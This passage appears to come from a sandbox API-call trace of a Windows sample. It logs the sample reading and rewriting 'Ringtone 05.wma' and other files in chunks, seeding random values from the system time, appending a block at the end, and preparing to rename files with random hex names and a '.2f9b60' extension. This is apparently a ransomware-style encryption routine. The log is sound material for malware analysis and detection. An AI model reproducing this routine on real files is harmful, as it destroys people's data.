RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x2de94d1e [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x7a276c16 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x28db3325 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x4d2d4bbc [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x6156ad42 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x796debbb [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x3019738f [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x39a9ed8c [0160.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d70 [0160.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0160.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0da0 [0160.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0160.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d40) returned 1 [0160.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2270) returned 1 [0160.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cefc290 [0160.578] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.579] ReadFile (in: hFile=0x2840, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3cd9f820, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x3cd9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0162.656] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19740 [0162.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19740) returned 1 [0162.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42504d60 [0162.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19740 [0162.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0162.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0162.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.659] WriteFile (hFile=0x2840, lpBuffer=0x42504d60, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3cd9f820, lpOverlapped=0x0) [0198.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42504d60) returned 1 [0198.317] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.317] ReadFile (in: hFile=0x2840, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3cd9f820, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x3cd9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0198.999] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bdd0 [0199.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bdd0) returned 1 [0199.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42380d80 [0199.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bdd0 [0199.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be00 [0199.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be00) returned 1 [0199.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.002] WriteFile (in: hFile=0x2840, lpBuffer=0x42380d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3cd9f820, lpOverlapped=0x0 | out: lpBuffer=0x42380d80*, lpNumberOfBytesWritten=0x3cd9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0214.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42380d80) returned 1 [0214.101] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x36439, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.101] ReadFile (in: hFile=0x2840, lpBuffer=0x1cefc290, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3cd9f820, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesRead=0x3cd9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0214.102] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x36439, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0214.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2210) returned 1 [0214.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42380d80 [0214.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0214.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0214.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2120) returned 1 [0214.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.105] WriteFile (in: hFile=0x2840, lpBuffer=0x42380d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3cd9f820, lpOverlapped=0x0 | out: lpBuffer=0x42380d80*, lpNumberOfBytesWritten=0x3cd9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0228.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42380d80) returned 1 [0228.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105050 [0228.054] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.055] WriteFile (in: hFile=0x2840, lpBuffer=0x133e40*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3cd9f8d0, lpOverlapped=0x0 | out: lpBuffer=0x133e40*, lpNumberOfBytesWritten=0x3cd9f8d0*=0x150, lpOverlapped=0x0) returned 1 [0232.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0232.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0232.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c20 [0232.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c20) returned 1 [0232.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0c20 [0232.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bf0 [0232.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b30 [0232.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0b30) returned 1 [0232.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0232.828] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="cc") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="d6") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="32") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="cd") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="4a") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="43") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="dc") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="dd") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="f5") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="74") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="9d") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="20") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="67") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="63") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="59") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="1e") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="5f") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="04") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="eb") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="25") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="d1") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="f1") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="34") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="b4") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="f3") returned 2 [0232.829] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="6e") returned 2 [0232.830] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="8d") returned 2 [0232.830] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="55") returned 2 [0232.830] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="eb") returned 2 [0232.830] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="4e") returned 2 [0232.830] RtlInitAnsiString (in: DestinationString=0x3cd9f948, SourceString="ccd632cd4a43dcddf5749d206763591e5f04eb25d1f134b4f36e8d55eb4e" | out: DestinationString="ccd632cd4a43dcddf5749d206763591e5f04eb25d1f134b4f36e8d55eb4e") [0232.830] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cd9f918, SourceString="ccd632cd4a43dcddf5749d206763591e5f04eb25d1f134b4f36e8d55eb4e", AllocateDestinationString=1 | out: DestinationString="ccd632cd4a43dcddf5749d206763591e5f04eb25d1f134b4f36e8d55eb4e") returned 0x0 [0232.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af4f0 [0232.831] wcscat (in: _Dest=0x202afcd0, _Source="ccd632cd4a43dcd" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd" [0232.831] wcscat (in: _Dest=0x202afcd0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd.2f9b60" [0232.831] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd.2f9b60", NtPathName=0x3cd9f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\ccd632cd4a43dcd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f3b10 [0243.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3b10) returned 1 [0243.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b3a40) returned 1 [0243.625] NtQueryInformationFile (in: FileHandle=0x2840, IoStatusBlock=0x3cd9f958, FileInformation=0x3cd9f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cd9f958, FileInformation=0x3cd9f968) returned 0x0 [0243.625] NtSetInformationFile (FileHandle=0x2840, IoStatusBlock=0x3cd9f958, FileInformation=0x3cd9f968, Length=0x28, FileInformationClass=0x4) Thread: id = 2694 os_tid = 0x2284 [0157.725] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma")) returned 0x20 [0159.596] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma", dwFileAttributes=0x20) returned 1 [0159.624] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x283c [0159.636] GetFileSizeEx (in: hFile=0x283c, lpFileSize=0x3ccdf6c0 | out: lpFileSize=0x3ccdf6c0*=112353) returned 1 [0159.636] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x1b6dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.636] ReadFile (in: hFile=0x283c, lpBuffer=0x3ccdf640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ccdf688, lpOverlapped=0x0 | out: lpBuffer=0x3ccdf640*, lpNumberOfBytesRead=0x3ccdf688*=0x4, lpOverlapped=0x0) returned 1 [0160.590] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0dd0 [0160.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.591] NtQuerySystemTime (in: CurrentTime=0x3ccdf580 | out: CurrentTime=0x3ccdf580*=132462177657262000) returned 0x0 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x16ba9b2f [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x17f9c7ff [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x669b7427 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0xed54dd5 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x5386fd6c [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x310fffaf [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x3d356ed7 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x7f7eab60 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x66e11672 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x59c5b274 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x327d6739 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x2621db5c [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x4cb26962 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x6e9eb1c8 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0xf1e6df2 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0xc013dc1 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x11df2e75 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x9f041ab [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x357cbc0 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x2fea6745 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x19e4d109 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x17aa2fe7 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x3edc06cd [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x11cd64c6 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x6679f460 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x151adc70 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x38d77fa4 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x4911d4f7 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x917f2f2 [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x7d7b71dd [0160.591] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x715e393b [0160.592] RtlRandomEx (in: Seed=0x3ccdf570 | out: Seed=0x3ccdf570) returned 0x6cd218e4 [0160.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f50 [0160.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f80 [0160.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2270) returned 1 [0160.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0160.610] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.610] ReadFile (in: hFile=0x283c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ccdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3ccdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.653] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19710 [0162.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19710) returned 1 [0162.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42501150 [0162.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19710 [0162.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19740 [0162.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19740) returned 1 [0162.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.656] WriteFile (hFile=0x283c, lpBuffer=0x42501150, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ccdf5e0, lpOverlapped=0x0) [0198.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42501150) returned 1 [0198.323] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.323] ReadFile (in: hFile=0x283c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ccdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3ccdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.006] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be30 [0199.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be30) returned 1 [0199.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42366910 [0199.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be30 [0199.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be60 [0199.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be60) returned 1 [0199.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.010] WriteFile (in: hFile=0x283c, lpBuffer=0x42366910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ccdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42366910*, lpNumberOfBytesWritten=0x3ccdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42366910) returned 1 [0214.106] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x17ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.106] ReadFile (in: hFile=0x283c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ccdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3ccdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.110] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x17ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0214.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2120) returned 1 [0214.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42366910 [0214.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0214.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0214.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a20f0) returned 1 [0214.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.114] WriteFile (in: hFile=0x283c, lpBuffer=0x42366910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ccdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42366910*, lpNumberOfBytesWritten=0x3ccdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42366910) returned 1 [0228.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf440 [0228.072] SetFilePointerEx (in: hFile=0x283c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.073] WriteFile (in: hFile=0x283c, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3ccdf690, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x3ccdf690*=0x150, lpOverlapped=0x0) returned 1 [0232.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0232.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0232.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0da0 [0232.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0da0) returned 1 [0232.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 